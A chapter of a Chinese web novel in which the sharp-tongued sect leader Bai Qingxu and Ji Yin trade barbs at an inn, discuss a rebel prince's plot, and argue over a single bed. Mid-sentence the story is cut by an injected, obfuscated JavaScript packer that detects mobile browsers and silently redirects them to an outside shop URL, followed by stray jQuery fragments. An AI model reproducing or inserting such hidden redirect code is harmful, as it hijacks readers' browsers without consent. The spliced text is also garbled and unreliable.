听得此问,白清旭轻轻一笑。
“笨女人,我给你讲个故事吧。”
季音:“?”
“小时候我曾捡过一只鸽子,它翅膀断了,飞不起来,正巧被我发现,我就把它带了回去。”
季音:“......你确定不是被你烤着吃了?”
白清旭没有接话。
“后来,它的伤好了,也能自己飞了。”
季音:“......所以呢,它飞走了?”
白清旭道:“没有,它一脑袋撞在墙上,撞死了。”
季音:“......”
“这跟我问你的问题有什么关系?!”
白清旭摊手:“没关系啊。”
季音:“?”
“我只是想告诉你,说话前要动动脑筋。”
“你觉得我会回答你的问题吗,明显不会啊,你还问,可不就像这只傻鸟一样,没脑子。”
季音:“......刚才那巴掌打轻了是吧?!”
争论间,她已被白清旭带到了一家客栈。
“我说......”她看着面前招呼店小二要了两壶好酒的男人:“你真的是白清旭?”
冷静下来后,她才发现占据自己内心的其实不是愤怒,而是震惊。
白清旭这个名字,对她来讲就像是话本中的角色一样。虽然她整天喊着要从他手中夺得空青扇,但当对方真的就这样出现在自己面前时,她却是不敢置信,不知所措了。
尤其......居然还是这个家伙!!!
白清旭笑道:“是啊,如假包换。”
季音只感觉自己的三观碎了一地。
“你......你你这样的人,到底是怎么当上云天掌门的?!”
白清旭摊手:“长得帅,武功高,还有钱,天降大任,有何不可?”
季音:“你还能再不要脸一点儿吗?”
白清旭:“这难道不是实话?”
季音翻了个大大的白眼。
“话说回来,你是怎么知道我被问天府抓了的?”
白清旭:“啊,何洛闵送来的纸条上写得很清楚。”
“......啥?何洛闵给你的?”季音惊了:“那你还敢来?你不怕这是陷阱啊?!”
白清旭长叹一声:“没办法啊,谁让他抓的是你这个笨女人。”
听罢,季音呼吸一滞。
等等,这个套路......
她不由得想起话本中英雄救美的情节。
难道......
季音半是惊恐半是紧张地看着他。
只听白清旭缓缓道:“你要是死了,谁来还我钱?”
......
淦!
她真是傻了,像这种注孤生的家伙有什么好担心的?!
季音强忍怒火,换了个话题:“所以你这段时间不在云天派,是因为灵州城的事?”
白清旭闷了口酒,似是默认。
季音正色道:“白羽沅与问天府联手,是想借他们的力量重返王城,夺得皇位?可若是如此......他们又为何要祸乱灵州城?”
白清旭道:“造势。”
“自白夜澜登基后,白羽沅锒铛入狱,昔年投靠他的朝臣命官悉数倒戈求荣,所以如今他虽越狱潜逃,手下却再无可用之人。”
他顿了一顿:“而自古以来,令有才智者为己所用之计,往往不外乎两种。”
季音:“......威逼利诱?”
白清旭笑道:“孺子可教也。”
季音撇了撇嘴:“可是这跟他在灵州城杀人放火有什么关系?”
白清旭叹了口气:“你还真是不经夸。”
“眼下灵州城命案频发,凶手又迟迟不能缉拿归案,时间长了,灵州城大大小小所有官员定然会被一同问罪。”
说罢,他抿了口酒:“所以嘛,先投靠白羽沅的官员,自然就能拿着剩下的那些去朝廷邀功领赏咯。”
季音眸子一颤:“......什么意思?白羽沅这是要把那些没有投靠他的官员都栽赃成凶手除掉?!这......这不是直接打白夜澜的脸吗?!”
白清旭却无所谓道:“他向来如此。”
“更何况......也不一定都是栽赃。毕竟浑水之下,谁不趁乱除除政敌,杀杀仇家?”
季音听得直咂嘴:“......官场果然黑暗非常。”
白清旭笑道:“不止这些。白羽沅潜逃数月,居无定所,却仍对这些朝廷官员的动向了若指掌,唯一的可能,便是早已拉拢高位之人为己所用。”
季音不解:“高位之人?什么高位之人?”
白清旭眉梢微挑:“怎么,这么快就把相府那位小公子抛诸脑后了?”
季音吓了一跳:“......子修?!你少胡扯了,他怎么可能......”
白清旭出言打断:“不是他,另一个。”
季音顿了一顿:“......裴诀?”
“那也不可能,我相信裴诀的为人。更何况......”季音不禁想起当日水牢之事:“要不是他,我现在早就没命了,总而言之,他是个极为正直的人,绝对不可能助纣为虐。”
白清旭却没有接话。
良久,他轻笑一声:“也对。”
眼见被认可,季音忍不住有点小得意:“话说回来,依你所言,白羽沅此番是有备而来。可若来日他当真夺位称帝,一旦东窗事发,他草菅人命鱼肉百姓之事便会闹得人尽皆知。届时民心尽失,还有谁会把他捧在皇位上?”
听得此话,白清旭握着酒壶的手一顿:“......是啊。”
“可倘若......他做不成皇帝呢?”
季音一怔:“什么意思?”
白清旭缓声道:“若此时有人挺身而出,歼灭这个草菅人命的狠辣王爷,届时,人心所向,天命所归,这位拯救黎民于水火的英雄,自然便是荣登大宝的不二人选。”
季音白了他一眼:“那是当然了,这还用你说?”
......黑棋为塞,白棋为疏,白胜半子,自然人人乐见。
可若黑白棋皆为一人所执,又该当如何?
厢房内,酒香氤氲,烛芯伴着火光,烧得噼啪作响,
白清旭望着窗外早已沉下来的天色,收了酒壶:“好了,天晚了,早些休息。”
季音:“......等等!”
白清旭一脸不解地看向她。
“这......这屋里可就一张床!”
白清旭摇着折扇:“睡地上不就好了?”
季音愣了:“可是这个季节睡地上......你会着凉的吧?”
“你在说什么,当然是你睡地上。”
季音:“???”
身上的伤口瞬间不疼了,她也不知哪来的力气,一下就站了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104878|144587||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起来:“我可是伤员!你的良心不会痛吗?!”
白清旭道:“我付的钱。”
季音:“......”
“我一个如花似玉的妙龄少女,你居然忍心让我睡地上?!”
白清旭:“哦,如花似玉......什么花,食人花?”
季音:“......”
“在云天派的时候,我白替你这家伙打扫了那么多天卧房,没找你要钱就不错了,睡你张床有什么问题?”
白清旭悠悠道:“说起来,如今你已是我门下的弟子。这世上哪有弟子睡床,师父却打地铺的道理?”
“我呸!”这话显然激怒了季音:“谁是你徒弟?!占我便宜还占上瘾了?!”
白清旭看向她身旁的双刃:“你既收了我的东西,叫我声师父,又有什么不可以?”
“我怎么知道云天掌门会变成你这厮?!”季音瞪了他一眼:“说起来,你又是从哪弄到这么好的兵器的?”
“啊,你说这个,地摊上买的。”
季音:“......你找死!”
白清旭叹了口气,突然一掌击向她的后颈。
季音顿时感觉眼前一黑,瘫倒在床上,昏睡过去。
“唉,还是只有这样才能安静。”
白清旭坐在季音身边,伸手探上她的脉搏:“......明明受了这么重的伤,却还有力气吵架。”
他轻笑一声:“果然,活着的人,就应该充满生命力啊。”
季音这一觉睡了很久。
本以为身上这些伤要修养一段时间,却没想到一觉醒来,竟奇迹般地恢复如常。
她揉了揉脖子,打量着略显空荡的房间。
总感觉......好像少了点儿什么?
......
等等!那个臭骗子呢?!
季音瞬间清醒,匆匆洗漱一番,踢了鞋子就往外跑。
还好,那家伙没逃。
不但没逃,此时此刻他正坐在楼下,面前还摆满了各式各样的早膳,像是在等人。
季音松了口气,理了理头发,坐在了对方面前。
然而对方却好像没看见她,自顾自地舀了一碗粥。
......
......
终是季音先忍不住了:“那个......”
白清旭抬头。
“......昨晚,我......”
“啊,你说这个。”
......她说什么了?
季音一脸茫然地看着他。
白清旭摇着折扇:“昨晚你睡得和死猪一样,怎么喊都喊不醒,没办法,我只能在大堂凑合一晚了。”
季音:“......你再要一间房会死吗?!”
白清旭:“笨女人,你以为我的钱是大风刮来的?”
季音突然想起了在他房间里看到的那本《骗钱心得》。
“......还不如大风刮来的呢!”
白清旭笑而不语。
眼见又要被对方牵着鼻子走,季音赶紧抢过话头:“不是,我要说的不是这个!”
“我是想说......”
她望着白清旭那双似笑非笑的眸子,深吸一口气,豁了出去:“昨晚......昨晚毕竟是你救了我,不管怎么说,我都不该打你那一巴掌,你......你要是气不过,可以打回来,我绝不还手!”